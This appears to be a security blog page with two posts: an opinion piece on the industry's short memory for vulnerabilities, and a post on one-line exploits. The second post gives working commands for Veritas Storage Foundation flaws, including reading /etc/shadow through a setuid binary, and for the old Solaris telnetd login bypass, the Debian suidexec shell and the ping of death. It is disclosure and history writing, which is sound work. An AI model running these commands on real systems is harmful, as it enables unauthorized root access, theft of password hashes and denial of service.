Posts Tagged memory

Short-Term Memory

Sometimes I get the feeling that too many Internet users (especially the younger generation) view 1995, or the beginning of commercialized Internet as the start of time itself. More specifically, I notice how people tend to have a short-term memory when it comes to security issues. A recent example of this was all the creative network exploitation scenarios that arose from the great DNS cache poisoning scare of 2008: intercepting e-mails destined for the MX of users who didn’t really click on “Forgot Password,” pushing out phony updates, innovative twists on spear phishing, etc. The fact of the matter is that man-in-the-middle attacks were always a problem; cache poisoning makes them easier but their feasibility has always been within reason. My point is that vendors should address such weaknesses before the proverbial fertilizer hits the windmill.

Too often, short-term memory is the catalyst for reoccurring breaches of information. Sometimes I wonder what (if anything) goes through the mind of one of those celebrities that just got their cell phone hacked for the third time. Maybe it’s something like, “Oh.. those silly hackers! They’ve probably gotten bored by now and they’ll just go away.” Then I wonder how often similar thoughts enter corporate security (in)decision–which is likely to be why cellular carriers neglect to shield their clientele’s voicemail from caller ID spoofing and other shenanigans. Nonetheless, the amusing charade that 2600 pulled on the Obama campaign for April Fool’s Day was simply a case of people believing everything they read on the Internet.

Don’t get me wrong. I’ve seen some major improvements in how larger software vendors are dealing with vulnerabilities, but an overwhelming majority of their security processes are still not up to par. Short-term memory is one of those cases where wetware is the weakest link in the system.

The idea of the digital security industry using long-term memory to become more like insurance companies and less like firefighters is quite intriguing. Putting protective forethought into the equation dramatically changes the playing field. Imagine an SDLC where programmers don’t have to know how to write secure code, or even patch vulnerable code for that matter. I can say for sure that such a proposition will become reality in the not too distant future. Stay tuned…

Leave a Comment

Exploit One-Liners

Very Small Shell Scripts

Every once in a while there are security vulnerabilities publicized that can be exploited with a single command. This week, Security Objectives published advisories for two such vulnerabilities (SECOBJADV-2008-04 and SECOBJADV-2008-05) which I’ll be describing here. I’ll also be revisiting some one-line exploits from security’s past for nostalgia’s sake and because history tends to repeat itself.

Both issues that were discovered are related to Symantec’s Veritas Storage Foundation Suite. They rely on the default set-uid root bits being set on the affected binaries. Before Symantec and Veritas combined, Sun package manager prompted the administrator with an option of removing the set-id bits. The new Symantec installer just went ahead and set the bits without asking (how rude!)

On to the good stuff.. The first weakness is an uninitialized memory disclosure vulnerability. It can be leveraged like so:

/opt/VRTS/bin/qiomkfile -s 65536 -h 4096 foo

Now, the contents of file .foo (note that it is a dot-file) will contain uninitialized memory from previous file system operations–usually from other users. Sensitive information can be harvested by varying the values to the -s and -h flags over a period of time.

This next one is a bit more critical in terms of privilege escalation. It is somewhat similar to the Solaris srsexec hole from last year. Basically, you can provide any file’s pathname on the command line and have it displayed on stderr. As part of the shell command, I’ve redirected standard error back to standard output.

/opt/VRTSvxfs/sbin/qioadmin -p /etc/shadow / 2>&1

Some of these one-liner exploits can be more useful than exploits that utilize shellcode. Kingcope’s Solaris in.telnetd exploit is a beautiful example of that. The really interesting thing about that one was its resurrection–it originally became well-known back in 1994. In 2007, Kingcope’s version won the Pwnie award for best server-side bug.

telnet -l -fusername hostname

Let’s not forget other timeless classics such as the cgi-bin/phf bug, also from the mid-nineties:


..and Debian’s suidexec hole from the late nineties:

/usr/bin/suidexec /bin/sh /path/to/script

I’m not including exploits that have pipes/semi-colons/backticks/etc. in the command-line because that’s really more than one command being executed. Since the “Ping of Death” is a single command from a commonly installed system utility I’ll be including it here as well. I consider it a true denial of service attack since it does not rely on bandwidth exhaustion:

ping -s70000 -c1 host


Comments (15)

%d bloggers like this: